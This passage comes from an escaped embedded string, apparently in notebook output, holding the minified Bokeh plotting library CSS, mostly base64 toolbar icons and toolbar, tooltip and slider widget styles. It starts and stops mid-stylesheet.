8xjSayCQXotiHotG3Ku3m+0EOQwPQCDggMf7BzQajSs5eAk4B5zLx4O1vD2eJMmAQKliscgASJMw21pansFs1swQ/DNLmUmTMNuXX+taXHTDaj5OW612R1JZ0nFJJ/J+XFJ5aWmpA6S5bHV8fHsPHFU6q3pJCjtFxtrKMuXRLUUXXxdrRLazFOtUolZlsGhmACsgnHPTwJnCnjP5HMBKLotzxsTE9rgDL0t6LoriKsDIaB31ZEK+JxQJRHFUBR2NqLw8OTkZR0OC0ntm9k1JWU7OA4vD/mZ+YfElsANmNEKi75vztzB5M8uAr+bx48me88g757PQ1U5zNg52YH7hX8l6f+4Fi3c3BqHNmkI4YQOV2MGCNu9qHPYCewfzbrC+XSGcWEcgTRKA3wFfyzdDz5d+D3x9CIcfA4eBbQS9LscskgfLnHNPAnslvS/pbZDHLLPADpx9N9fqpSIBH8cxWZY9m6bpb4Ev5fN/iKLo2TRNgdx/eo8Wk5O7Ts/N/SOSdMjHdj4kmgkIEJLJzPZKetvMTkIvFLsR25Ml2gfuF5M7vnA66sdooJYkCSGERe/9VAjhzRxoKk3Tvg3U8nulVqvx8cyNpER2umM+SdOkbc5B8JhpqBdIgTRR24h+lpKen731aRIN7thscH9Zlv0d2F8YD2TIX7F2uw3A7ZWV1a0TYz9ca8cJZHRbuRuaDfUCw9/qJHamPOKToAwHtHN6lMvlSkH2o7wDMDo6WuGuQbbn5+YAKNcb3J5fSvrhtTY+vsOPuD1IOyRhMOkj9kSx29HfXB5RUnS964NT2+3vbGbxG9auO2cDNuV6A8NTb5TitBuOpQkfYD2vwOxgmvBB2g3Hto5X42EJyVsFlztbKpXGNgqVSqUxSWcLU2+tdToa9hasLjfPYlwGa+bTi8Dl1dvNsyvNtQQL9MO2w+HM7BqwlAtPdrvdq9773WAVsIr3fne3270KTOYyS2Z2bbXdHhogKmPj7YWF+VOSXs/v/9KdO+0fVBrjbRkgB/KIDBnYu9f/7D+ZmfmRxPd6qwB8YmZXcq1MAQ/nJhTM+OnDe/a8+PGNG9lm19V/D1Qw7HXZlcRa69+U6w38l5/4ipxzf5X0CPBILjcGPJH34pVcc8692FxcXLlXRnTwwH7+9P4f8aWe3fY59LIqo1NMyQBCCHNmdgx4BegUWefjDvCKmR0LIcz9L8nokSNH+PRvH4HC3YQ098pSbevg24qlmZmNmtmjkg4D3+j/tZldkvQXSa3PW5ptlpL3ZaIN99OS9F7+IgKUgSyEkNyv2nHT7DZX0dr9rpjua2l2r4rogRAYVqZvnPsPqVnpEXjEaB4AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-wheel-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgskILvMJQAABTtJREFUWMPdl1+MXVUVxn/fPvf2zrSFmUKnoBCUdjRoVaIxEpO2JhilMYBCtBQS2hejpg1Uo2NUrIFAoyGmtiE+GHwQGtvQJhqDmKYRBv+URFsFDNCSptH60DJTO3dKnX/33rM/H7rvsDu9M20fDMaVnGTvtb69z7fWXmvtc/TEzqd4OyXwNsv/FwFJQVI/sA14SZKRLOlPkr5TrVYXHz70quYkEEK4TtI2YAgYkrQthHDdhV5uuw+43/ZrwCbgRttgY/tjtrc0m83X3/f+D6ydnJhYcB4BSZcBA7aP2d4ELAGW2N5k+xgwkDB0IH19CGGH7R8B1aQeAf4KvAw0ku4K2zu7uru3ApdPEyiKohd4TNKjtjt5h6RHgccSNrddbvuHtm9Jqoak7xVF8WFgdavV+pSk5cCObNmXgK++85prCj3z28HKqZMnH7D9YAY4BvwujT8BvCuL1INX9vVt+dfwcCvNb7f9q2RuSfrGvWu/sL2Nf3LX7pzvj4ENSGBPVarVd4fRkZFltjdmoMGiKO4IIWwIIWwoiuIOYDDzeOPoyMiyFLkum7WJCMDztrcrTTrIRuAQZ6NcK1utL4dWq/VZoC8BhqvV6l1lWb4YYxyLMY6VZflitVq9CxhOmL60hhCKeYiV7WMKIXw9jT1HpXw3c+bOAKzOjJubzebJrKQCQLPZPClpc7bP6rMYKtjXth2OMf7tIkr11Wz8oQDc1Fb09vY+kQw1YAuwJY2nbUluAnCWpKkaFl6IQIzxivaR2SYA89sJVK/Xp2x32R6w/a30DNjuqtfrU0ArYecDCEqgLqm94T0dEm9mBG7PxkdDlkBnkhebgIezNQ8nHcCZPL9ijE1Jf/bZZoPtzbavmqNZLbf9tSxq+yoduuJ+SZ+zXSZyBXCqU+d8fvC5yRUrV+0G2j3g2hDCLyXd/+Su3QdnvP/zCuH72LWsgf2k0oHlH2c2odlkxcpVEdgr6aDtjyb8x20/J+mA7T9I6rL9SWA5dne2/GdXLl58qNJh398An85yTMA+4DOz8Dgu6Zu2dwJXJ91ltm8Gbp7Fgb+EEB4aHhpq5CEtACqVyr3AC0AlPS8k3TSmQ2YPhhBuS/1/LpmS9JTtNTHGfwBU2uUALARotVqniqJYH2Pck85pfavVaufAwnQvnHc0McaDKVptebN94QAnJB0EdtjekydyZXqjs/0ZgLIs/w6sy8bnYGYJ63pgERKC05JutT1kOwITwL9tvzlzUQUYB+Zjs2DBgu6xsbGJZHstByZbezregcBXeCsEz1bnzXt5anLyzLq71zDLxTRdVgemdx0fv2e2w5thO5DbiqL4oKT3ZKpnpyYnz+SY2ZpTAPZmJfdIrVZbNBNUq9UW2X4kU+2dcf53Aj1pj2PA7y/6m1DS00A9za9uNBq7iqJYBuoGdRdFsazRaOzKSqye1rTbaa/tlbYrqXQP2X4FIA9/J1l39xrC0v7+w5IeB8XkwS1lWe6TGJAYKMty31tfO4qSHl/a3384I3CDpI+kzC4lnRfrue6GytEjR8oQwlY73gC0L4qlth/q0M1/LYWtR48cKQF6enrC6dOnVwGLEpnxnp7en4+O1i/tszzGOCTpPmB7ahb57QUwBWyXdF+McWg6MScmuoA8OX8xOlpvXGz422XYTsB/SnpA0h7bX5R0WzI9HUL4qe2XbI+dk3xl+V7gxoztD5jRI+YK/zkEEokx2/uB/RdzIfUtueqVN04cXwF8G3iHY3z9Urw/j8ClyhsnjrcS2Vv/J/8NLxT+/zqBTkcxU/cfEkyEAu3kmjAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-box-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4QfHjM1QAAAGRJREFUWMNjXLhsJcNAAiaGAQYsDAwM/+lsJ+OgCwGsLqMB+D8o08CoA0YdMOqAUQewDFQdMBoFIyoN/B/U7YFRB7DQIc7xyo9GwbBMA4xDqhxgISH1klXbDYk0QOseEeOgDgEAIS0JQleje6IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-freehand-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADTElEQVRYCeWWTWwMYRjH/88721X1lZJIGxJxcEE4OOiBgzjXWh8TJKR76kWacOBGxdEJIdk4VChZI/phidRBHMRRIr7DSUiaSCRFRM3u88gz+o7Z6bBTdjmYZPf9eJ55fv/5zzvvDPC/H9QsA66Olo9Ga+/MdR+Ljm2/KQIULsz9FqItGdOfJKLhApLgVkiSCGODjWit7QpKWy+TNrFeXvzKVUT8NiTVaIgDcbiCFJ7GiT8WkARXAdYBK0Lbhi/CenArRNskuM7/tgNp4ArQ42dwjf3WY5gWTqC7O/NbNn2Xkfw/YwdSw/We14HP2IEZwX+y9cZ9SH0LmgFP7UCz4KkENBNeV0Cz4b8U8DfgKiDxMWwUXETqLvJpCQpXZfawbzS7t9v5pL19cHBwfja7YA0y/lyCM0+E5hv5+piZXwKYcF23as+37bTXsQVqgkL0p/34fHR7DcBtbetFsBmGDwMOJCggYG55yw7dMlk6DuC1Bdu2RsCU9TYWQq2IoGbsreZ5NzvEqfSBsIsIy8OTbcdgiRHeh4o8AFAEwDakbY2AaCCpH7V9aGhoUUUy3UyVbkPYFuYLDlUZH8XBpwxkK0Dbgxg5HcVi0ent7a0RULMIozaHBSMfF9b2SzdutFcFB2FkwMIJOG6qfteXOa1nHZ48tyefuwyfT9s6wtzZ3t7eZse2DR2I228TtHXzuWCx9g8MtK5cuHCZTH4tiHEOa4xFngvTyS8f35d6enomiCi4/foEXBkZaQuukChL4FYA2Whd7YcC4gEdW3CpdL3LtGAVCVYJywEyTpAuJKeMOKXZs/Bw947C50KhUFOG4cwz35cjWNBlHGeD53n3xsfHP/T19U1qciggar8Fa4I3PHobIotBWBtc2hSiChyZxVzM53Pv7FVH6Tp3uVy+g0r1ImD2GjIrQGYIxjnfuXTZGICS5k/bBwJoubwEFX4TLah9EXomJGMA3za+f9913Yl4TnzsDQ+vE6YTZOjHh4ngibstt1pzQwd04F0bPStEBpXqRoBeQ/AKghfBnOEKgS+Q7z91Xfdz/HGKg8Ox7z8iYD9z6wqTkZFgnvhMGP9VZ2or1XVkPM9z0mytSfVsHa1RLBZbLoyNzUnK+ydz3wC6I9x+lwbngwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjglo9eZgwAAAc5JREFUWMPt1zFrU1EUB/DfS4OmVTGDIChCP4BgnQXRxVHqIJUupp9AB8VBQcRBQUXIB9DWQoMRiXZzcnQSA34A7aAuHSJKkgo2LvfBrU3aJnlYkBy4vHcP557zP/9z3r33JdXa647N0kHSZd5Nn0rSxc8G3cXp85sMcnZZ8vge3osZ+l3vB8CWFA0iL14t79h210swAjACMAIwAjACkB90D/8/GchI9ve4nPwTBh5E9ws7OepzGWb9EddSn51Op9ZstadSg4VK1UKlKkmSDSMLALewiuNh/hVJq71Wxttmqz0dG88vPc+MgWP4grvYG3SLOBrZFFFrttqPe4HIDxh4GSei+98iSlusuYopXEAjBtEPA3tQwUpwluAbDm4TPJUz+BTW9l2Ce6G7L0X/Bw8D3T/7SKKIDzHg7QCcxjvcQAEtXAnrrg/RP0/DKPbqgcN4iVOR7gcO4dcQgRuoh7HSqwlP4n20m63jJu5n8MkWMYfP3UowhzdR8FU8w9iQwevBdyq3/27CMRzAE5yLuvsRLg+ZcR1nJ8YL81HWJUzGAPaFZwe/Q5MdyYDyNHgjzO90YyGHtVDncuiJchaHw8R4oREFV5qdiVmYLM3OgD9k5209/atmIAAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-point-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEiERGWPELgAAA4RJREFUWMO1lr1uG1cQhb9ztdRSP7AF1QxgwKlcuZSqRC9gWUUUINWqTh5AnaFOnVPEteQmRuhCURqWsSqqc9IolREXdEvQBElxtdw7KURSFEVKu4w8wAKLxdw9Z+bMnRmZGXfZ29//II8th4WwGVNyIoQLYB5vxA9Caq04iUd9A+7ZlsNC2I7TdSd2hZXMJKlnTqp9jtl/GBaqoyQ0noFKpUIzBicYYc+DEFpxkglc4oVJa5gvDn8v1xV2irG3FM4NSVwjUKlUaMcpJhCGmSEJQ6QGD8M5WnHCd8+f3QCXpPLx8WNwv0j6Bm9FMK7FJ3WBE+R/2t7c/GBmFvSBrzRTCsyTDjXrxUgEMtpxynJYmJoBJ4VAybwVARgvL7Oik0okCodnKpVKX7P0leiVMb0VvbJT+upznK4vh0GIeQwwQStJkHQD3MwsCALTJRG7Qrdrj5m/djgYaIa0hlkRdJk26XEgC9txurccBtVW3IudBImmZuACUP+ZlIDBt9FKcubYNTcAH/X0RYM1E7utJPlqe+uZzPxUcEkiSS4sTT95n15Mud0xWC0o2PAWOCdK3KYZlFxfM+tHOcnMzNr1es18ug+cgsVjP4yBU/Ppfrter1m/+l0+zYygML1xRVHU7TSb1cSzBzoBzszsH+AMdJJ49jrNZjWKou6wBnwOzcyndBpNbuueURR1Dw8Pq35p9cc5p/Dy9Dypt7jXrtdGwQECS9NPhr6Gq6txUzNigE6zydLK6lTw12/KT4FGFEUfJX2YJNONq5tVs4ODA7sD/DnwJ/BoADZuE3tHFs12dna6d4C/BI6AlbyzI8ii2TTw12/KK33gb2cdXsNZoAntbZC2SeO4c9592k/5eNQbiwvFd1kJuFGwLJr1wSPg/SwpvyFBHufOeXcFeAlE97U/uCxOY+P3b+Bn4B3Q+L8EdJfD4a+/AbC4UBzPxiPg3wlHZquB28Cn2IuR9x3gr3uV4DbwfvSDOvi4uFA8BDZmIRHkjHpS9Ht9iRqd8+5G3g05mAGcQbsdiX5QJ428G7Kygo8XYdb1/K4NWVmjzkNge2sz84bs+ELmpDDLtqWsNZBXgvmw8CTtpWVMT7x5YWBjLARnwZfKQNYN2U2LPvrh+5nBt7c2M2/It9bArCTKR8eZN+SJ13AScPnoODeRdqNenH+wul5w2gUr2WUjMFAt8bZ/0axX/wNnv4H8vTFb1QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gELFi46qJmxxAAABV9JREFUWMOdl19vFFUYxn9n9u9sCyylUIzWUoMQBAWCMdEEIt6xIRQSLIEKtvHe6AcA4yeQb7CAUNJy0daLeomJN8SEULAC2kBBapBKoLvbmdl/c14vdmY7u91tF95kknPOnHmf95znPc97Ro2OTeBbdjFDT3c32ZxVHUOE9kSMB0/m6ExuoJn1H+ur6Y+OTfD50SMN5168OgrAlyf7CfuD+z7+iDs3p8hkLUQ0iFQ/yFl5Nm/qonfHVva+s32Zw9GxCYILsZ08tpNfBhbs+1YN4OH9+7huGdECSBVfqUosbsllfmauBqiR+cCNwOr7AEo8pPHJnymXykhg5fUWjoQpl0vVvhZhbSzGoUOHqgBlt6B6uruj2Zy1E9jo0fhfeyL2x4Mnc8VErK0KUEOB64JSyptfG4RSytsJjUJVxw2lsFy3urL9nx1Qd25ObctkrVMi+jQivd7U2ZyV/3Hzpq7h3h1b/7p9Y0o8v8rwAbTWrGpSocN/FGDlbAI0Rl23PCBan0Ok158H9Ipwzi25A/Mzc9Gl/BYx/E4kYqC1NKRARNAaDCNUM27Z+Zr+ouXs0q4+LSLBHPYCFkTkC6uU39kwCdsS7WRKmaYUiAhdnZ3MPX2K4+QjQI+C94A93rMzm8ltMwyDeDzWjMZeEb2pYQDdW3vITU2jtUZ5QThOPgm8C7wP7J15OPsBsB3oWpGnVWisCeDS1VHj4vBI92+/3tgB7Ab2AruAXiDBK5oIOkhtkEYRNRuJhObrd8Dl9ewf4D5wG7hVLpen29vb5wzD+BrkbBMaL3d1dk5nsrnlFDTTFWAWmAZueWD3gCemGde2k2fw1Al1YXhEvjozoO49eczdqekrWmsc2zlrmvEKOGoW1GUjFLqSk2KpJrCLwyMCPAP+BO54QL8DM6YZX/ClsP9YnwKkXnIBP4jdIpJRpdJTCYdMwwi98KU0Hjc/dDILNyUcwTCWdOSMJ0TRmBktGRhLugu0xyLk7CIqVNm+0bGJptl1YXikD0grpY4Rjc4a8Fbgdab/6OGbAJeCUuyJnnHmZH9pbSyGuBXV8NUwlUpR1EWyixmSyTWEwqGlJ2Swbo2JXbAAfgDGgGQA9I1A9t1tlq0AxrXxn0ilUpw4fhQqYkH/sT41OTnJJwf2s6FjI5mshdYa7bqVR2uezr9MJmJt14FvGrh/O9D+e6UkM/xyCuCqEKCYnJyUTKFQrZDHjxzGshwWLQcRsOz8Hi85P23id0ug/XilAMLBmm4tPGdoaKjSH5+oAGrhwvBI9SjZTn4QSK9yenoD7dlrExPoJlXW8G8ytpNHxRKk02lGxsdRKFwXLNvx5yY94HQLGhGk4LFCYQSqaE0AwWM1eOoEbR0dKBSW7bC4mKuffxs4D/wCLKwQQPAUzIkslfp6cVomROWSolh0GjldAM4nzDi2k9/i5UAzC9aKfwNJ3zgJg9YEvN6+C7SHgKm69+sD7RfNnKTTaZRPQfAut4oFV//IS7gkcB34VlVo8kGzphlfB+DU+TfNGBpZtRastvrvARJmfMF28ge9sc2B9/PNnCilMIDwK6y8/ow/Ai4kvILTljAXvDvEvrqKSUs60KolzPjBxspavQD2tKqCAGF/Ba+xE/Wbilu54wZV8NEKF5fXzQHl/bh4hUsE0WAXSlDMYcQSrQXgCmsTseXHsJkNnjqBFGwKJaHsKlxtUHYVhbLCzr1kaOA4bcn1y1Swmb+iLpJKpVrfgdpfsiVVCYcgluwgnU7jEgJ4s5UkLFtWYyHyEg0/N1q1tmQH+YXnAMFr97Nmv3p+0QsHQRsF8qpBOE5+rb9Nkaj50tVQKjqh4OU3GNL/1/So3vuUgbAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-grid-row,.bk-root .bk-grid-column{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap}.bk-root .bk-grid-row>*,.bk-root .bk-grid-column>*{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-grid-row{flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-grid-column{flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-canvas-wrapper{position:relative;font-size:12pt}.bk-root .bk-canvas,.bk-root .bk-canvas-overlays,.bk-root .bk-canvas-events{position:absolute;top:0;left:0;width:100%;height:100%}.bk-root .bk-canvas-map{position:absolute;border:0}.bk-root .bk-logo{margin:5px;position:relative;display:block;background-repeat:no-repeat}.bk-root .bk-logo.bk-grey{filter:url(\\\\\\\"data:image/svg+xml;utf8,<svg xmlns=\\\\\\\\'http://www.w3.org/2000/svg\\\\\\\\'><filter id=\\\\\\\\'grayscale\\\\\\\\'><feColorMatrix type=\\\\\\\\'matrix\\\\\\\\' values=\\\\\\\\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\\\\\\\\'/></filter></svg>#grayscale\\\\\\\");filter:gray;-webkit-filter:grayscale(100%)}.bk-root .bk-logo-notebook{display:inline-block;vertical-align:middle;margin-right:5px}.bk-root .bk-logo-small{width:20px;height:20px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNui8sowAAAOkSURBVDiNjZRtaJVlGMd/1/08zzln5zjP1LWcU9N0NkN8m2CYjpgQYQXqSs0I84OLIC0hkEKoPtiH3gmKoiJDU7QpLgoLjLIQCpEsNJ1vqUOdO7ppbuec5+V+rj4ctwzd8IIbbi6u+8f1539dt3A78eXC7QizUF7gyV1fD1Yqg4JWz84yffhm0qkFqBogB9rM8tZdtwVsPUhWhGcFJngGeWrPzHm5oaMmkfEg1usvLFyc8jLRqDOMru7AyC8saQr7GG7f5fvDeH7Ej8CM66nIF+8yngt6HWaKh7k49Soy9nXurCi1o3qUbS3zWfrYeQDTB/Qj6kX6Ybhw4B+bOYoLKCC9H3Nu/leUTZ1JdRWkkn2ldcCamzrcf47KKXdAJllSlxAOkRgyHsGC/zRday5Qld9DyoM4/q/rUoy/CXh3jzOu3bHUVZeU+DEn8FInkPBFlu3+nW3Nw0mk6vCDiWg8CeJaxEwuHS3+z5RgY+YBR6V1Z1nxSOfoaPa4LASWxxdNp+VWTk7+4vzaou8v8PN+xo+KY2xsw6une2frhw05CTYOmQvsEhjhWjn0bmXPjpE1+kplmmkP3suftwTubK9Vq22qKmrBhpY4jvd5afdRA3wGjFAgcnTK2s4hY0/GPNIb0nErGMCRxWOOX64Z8RAC4oCXdklmEvcL8o0BfkNK4lUg9HTl+oPlQxdNo3Mg4Nv175e/1LDGzZen30MEjRUtmXSfiTVu1kK8W4txyV6BMKlbgk3lMwYCiusNy9fVfvvwMxv8Ynl6vxoByANLTWplvuj/nF9m2+PDtt1eiHPBr1oIfhCChQMBw6Aw0UulqTKZdfVvfG7VcfIqLG9bcldL/+pdWTLxLUy8Qq38heUIjh4XlzZxzQm19lLFlr8vdQ97rjZVOLf8nclzckbcD4wxXMidpX30sFd37Fv/GtwwhzhxGVAprjbg0gCAEeIgwCZyTV2Z1REEW8O4py0wsjeloKoMr6iCY6dP92H6Vw/oTyICIthibxjm/DfN9lVz8IqtqKYLUXfoKVMVQVVJOElGjrnnUt9T9wbgp8AyYKaGlqingHZU/uG2NTZSVqwHQTWkx9hxjkpWDaCg6Ckj5qebgBVbT3V3NNXMSiWSDdGV3hrtzla7J+duwPOToIg42ChPQOQjspnSlp1V+Gjdged7+8UN5CRAV7a5EdFNwCjEaBR27b3W890TE7g24NAP/mMDXRWrGoFPQI9ls/MWO2dWFAar/xcOIImbbpA3zgAAAABJRU5ErkJggg==)}.bk-root .bk-toolbar,.bk-root .bk-toolbar *{box-sizing:border-box;margin:0;padding:0}.bk-root .bk-toolbar-hidden{visibility:hidden;opacity:0;transition:visibility .3s linear,opacity .3s linear}.bk-root .bk-toolbar,.bk-root .bk-button-bar{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap;align-items:center;-webkit-align-items:center;user-select:none;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.bk-root .bk-toolbar .bk-logo{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-toolbar-above,.bk-root .bk-toolbar-below{flex-direction:row;-webkit-flex-direction:row;justify-content:flex-end;-webkit-justify-content:flex-end}.bk-root .bk-toolbar-above .bk-button-bar,.bk-root .bk-toolbar-below .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-toolbar-above .bk-logo,.bk-root .bk-toolbar-below .bk-logo{order:1;-webkit-order:1;margin-left:5px}.bk-root .bk-toolbar-left,.bk-root .bk-toolbar-right{flex-direction:column;-webkit-flex-direction:column;justify-content:flex-start;-webkit-justify-content:flex-start}.bk-root .bk-toolbar-left .bk-button-bar,.bk-root .bk-toolbar-right .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-toolbar-left .bk-logo,.bk-root .bk-toolbar-right .bk-logo{order:0;-webkit-order:0;margin-bottom:5px}.bk-root .bk-toolbar-button{width:30px;height:30px;background-size:60%;background-color:transparent;background-repeat:no-repeat;background-position:center center}.bk-root .bk-toolbar-button:hover{background-color:#f9f9f9}.bk-root .bk-toolbar-button:focus{outline:0}.bk-root .bk-toolbar-button::-moz-focus-inner{border:0}.bk-root .bk-toolbar-above .bk-toolbar-button{border-bottom:2px solid transparent}.bk-root .bk-toolbar-above .bk-toolbar-button.bk-active{border-bottom-color:#26aae1}.bk-root .bk-toolbar-below .bk-toolbar-button{border-top:2px solid transparent}.bk-root .bk-toolbar-below .bk-toolbar-button.bk-active{border-top-color:#26aae1}.bk-root .bk-toolbar-right .bk-toolbar-button{border-left:2px solid transparent}.bk-root .bk-toolbar-right .bk-toolbar-button.bk-active{border-left-color:#26aae1}.bk-root .bk-toolbar-left .bk-toolbar-button{border-right:2px solid transparent}.bk-root .bk-toolbar-left .bk-toolbar-button.bk-active{border-right-color:#26aae1}.bk-root .bk-button-bar+.bk-button-bar:before{content:\\\\\\\" \\\\\\\";display:inline-block;background-color:lightgray}.bk-root .bk-toolbar-above .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-below .bk-button-bar+.bk-button-bar:before{height:10px;width:1px}.bk-root .bk-toolbar-left .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-right .bk-button-bar+.bk-button-bar:before{height:1px;width:10px}.bk-root .bk-tooltip{font-family:\\\\\\\"HelveticaNeue-Light\\\\\\\",\\\\\\\"Helvetica Neue Light\\\\\\\",\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,\\\\\\\"Lucida Grande\\\\\\\",sans-serif;font-weight:300;font-size:12px;position:absolute;padding:5px;border:1px solid #e5e5e5;background-color:white;pointer-events:none;opacity:.95}.bk-root .bk-tooltip>div:not(:first-child){margin-top:5px;border-top:#e5e5e5 1px dashed}.bk-root .bk-tooltip.bk-left.bk-tooltip-arrow::before{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-left::before{left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-right.bk-tooltip-arrow::after{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-right::after{right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-above::before{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;top:-10px;border-bottom-width:10px;border-bottom-color:#909599}.bk-root .bk-tooltip.bk-below::after{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;bottom:-10px;border-top-width:10px;border-top-color:#909599}.bk-root .bk-tooltip-row-label{text-align:right;color:#26aae1}.bk-root .bk-tooltip-row-value{color:default}.bk-root .bk-tooltip-color-block{width:12px;height:12px;margin-left:5px;margin-right:5px;outline:#ddd solid 1px;display:inline-block}.rendered_html .bk-root .bk-tooltip table,.rendered_html .bk-root .bk-tooltip tr,.rendered_html .bk-root .bk-tooltip th,.rendered_html .bk-root .bk-tooltip td{border:0;padding:1px}\\\\n/* END bokeh.min.css */\\\");\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-widgets.min.css */\\\\n@charset \\\\\\\"UTF-8\\\\\\\";.bk-root{/*!\\\\n * Pikaday\\\\n * Copyright \\\\u00a9 2014 David Bushell | BSD & MIT license | http://dbushell.com/\\\\n */}.bk-root .bk-noUi-target,.bk-root .bk-noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-target{position:relative;direction:ltr}.bk-root .bk-noUi-base{width:100%;height:100%;position:relative;z-index:1}.bk-root .bk-noUi-connect{position:absolute;right:0;top:0;left:0;bottom:0}.bk-root .bk-noUi-origin{position:absolute;height:0;width:0}.bk-root .bk-noUi-handle{position:relative;z-index:1}.bk-root .bk-noUi-state-tap .bk-noUi-connect,.bk-root .bk-noUi-state-tap .bk-noUi-origin{-webkit-transition:top .3s,right .3s,bottom .3s,left .3s;transition:top .3s,right .3s,bottom .3s,left .3s}.bk-root .bk-noUi-state-drag *{cursor:inherit !important}.bk-root .bk-noUi-base,.bk-root .bk-noUi-handle{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.bk-root .bk-noUi-horizontal{height:18px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.bk-root .bk-noUi-vertical{width:18px}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.bk-root .bk-noUi-target{background:#fafafa;border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #BBB}.bk-root .bk-noUi-connect{background:#3fb8af;border-radius:4px;box-shadow:inset 0 0 3px rgba(51,51,51,0.45);-webkit-transition:background 450ms;transition:background 450ms}.bk-root .bk-noUi-draggable{cursor:ew-resize}.bk-root .bk-noUi-vertical .bk-noUi-draggable{cursor:ns-resize}.bk-root .bk-noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #ebebeb,0 3px 6px -3px #BBB}.bk-root .bk-noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.bk-root .bk-noUi-handle:before,.bk-root .bk-noUi-handle:after{content:\\\\\\\"\\\\\\\";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.bk-root .bk-noUi-handle:after{left:17px}.bk-root .bk-noUi-vertical .bk-noUi-handle:before,.bk-root .bk-noUi-vertical .bk-noUi-handle:after{width:14px;height:1px;left:6px;top:14px}.bk-root .bk-noUi-vertical .bk-noUi-handle:after{top:17px}.bk-root [disabled] .bk-noUi-connect{background:#b8b8b8}.bk-root [disabled].bk-noUi-target,.bk-root [disabled].bk-noUi-handle,.bk-root [disabled] .bk-noUi-handle{cursor:not-allowed}.bk-root .bk-noUi-pips,.bk-root .bk-noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-pips{position:absolute;color:#999}.bk-root 